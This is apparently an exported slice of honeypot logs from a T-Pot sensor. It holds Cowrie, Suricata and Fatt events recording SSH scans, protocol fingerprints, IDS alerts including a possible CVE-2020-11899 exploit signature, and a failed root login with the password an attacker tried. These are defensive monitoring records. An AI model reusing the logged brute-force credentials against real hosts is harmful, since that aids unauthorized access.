"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 34540, "dest_port": 22, "timestamp": "2021-09-20T11:14:16.856465", "@timestamp": "2021-09-20T11:14:16.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27377	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:14:17.26144+03	2021-09-20 14:15:14.499644+03	{"_id": "eAbpAnwBvYTbRNuE8CdN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:12:15.816200+0000", "pkts_toclient": 7, "pkts_toserver": 6, "bytes_toclient": 564, "bytes_toserver": 2692}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM TIMEWAIT ACK with wrong seq", "signature_id": 2210042}, "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 72599653545032, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 39772, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:14:17.261440Z", "@timestamp": "2021-09-20T11:14:17.261Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27378	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:14:17.847328+03	2021-09-20 14:15:14.500675+03	{"_id": "dwbpAnwBvYTbRNuE8CdN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1493, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 233124064259552, "@version": "1", "in_iface": "enp5s0", "src_port": 33469, "dest_port": 53, "timestamp": "2021-09-20T11:14:17.847328Z", "@timestamp": "2021-09-20T11:14:17.847Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
27379	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:17.899935+03	2021-09-20 14:15:14.501674+03	{"_id": "eQbpAnwBvYTbRNuE8SeD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34942, "dest_port": 443, "timestamp": "2021-09-20T11:14:17.899935", "@timestamp": "2021-09-20T11:14:17.899Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
27380	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:19.237729+03	2021-09-20 14:15:14.503647+03	{"_id": "hwbpAnwBvYTbRNuE9icp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b407bfae6fd0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:19.237729Z", "@timestamp": "2021-09-20T11:14:19.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27381	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:14:19.602334+03	2021-09-20 14:15:14.504674+03	{"_id": "iQbpAnwBvYTbRNuE9icq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/-!@#2013] failed", "session": "53eded6d5055", "@version": "1", "password": "-!@#2013", "username": "root", "timestamp": "2021-09-20T11:14:19.602334Z", "@timestamp": "2021-09-20T11:14:19.602Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27382	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:14:19.963742+03	2021-09-20 14:15:14.506644+03	{"_id": "jQbpAnwBvYTbRNuE-Ccf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:14:19.963742+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557267719326, "payload": "AAAABAMAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf+NuT8EAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:14:19.963742Z", "@timestamp": "2021-09-20T11:14:19.963Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........................................?................................"}}	1	\N	\N	alert	\N	\N
27383	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:14:21.279955+03	2021-09-20 14:15:14.507645+03	{"_id": "kwbpAnwBvYTbRNuE_yfx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:14:21.279955+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751763150227, "payload": "AAAABAQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf+NuT8EAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:14:21.279955Z", "@timestamp": "2021-09-20T11:14:21.279Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........................................?................................"}}	1	\N	\N	alert	\N	\N
27384	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:14:21.330202+03	2021-09-20 14:15:14.508647+03	{"_id": "lAbpAnwBvYTbRNuE_yfx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:14:21.279955+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 330}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751763150227, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:14:21.330202Z", "@timestamp": "2021-09-20T11:14:21.330Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
27385	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:14:06.677791+03	2021-09-20 14:15:14.510647+03	{"_id": "HgbpAnwBvYTbRNuExieF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52592, "dest_port": 22, "timestamp": "2021-09-20T11:14:06.677791", "@timestamp": "2021-09-20T11:14:06.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27386	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:07.39726+03	2021-09-20 14:15:14.511646+03	{"_id": "IQbpAnwBvYTbRNuExydB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3e781d115cd8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:07.397260Z", "@timestamp": "2021-09-20T11:14:07.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27387	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:07.433164+03	2021-09-20 14:15:14.513645+03	{"_id": "IgbpAnwBvYTbRNuExydE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b7f6b5e99a19", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:07.433164Z", "@timestamp": "2021-09-20T11:14:07.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27388	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:14:07.433046+03	2021-09-20 14:15:14.514683+03	{"_id": "PQbpAnwBvYTbRNuEySc3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 880371340023720, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46530, "dest_port": 22, "timestamp": "2021-09-20T11:14:07.433046Z", "@timestamp": "2021-09-20T11:14:07.433Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27389	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:14:07.700137+03	2021-09-20 14:15:14.515646+03	{"_id": "QAbpAnwBvYTbRNuEyidt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60688, "dest_port": 22, "timestamp": "2021-09-20T11:14:07.700137", "@timestamp": "2021-09-20T11:14:07.700Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27390	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:08.837386+03	2021-09-20 14:15:14.517646+03	{"_id": "SAbpAnwBvYTbRNuEzidV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42138, "timestamp": "2021-09-20T11:14:08.837386", "@timestamp": "2021-09-20T11:14:08.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
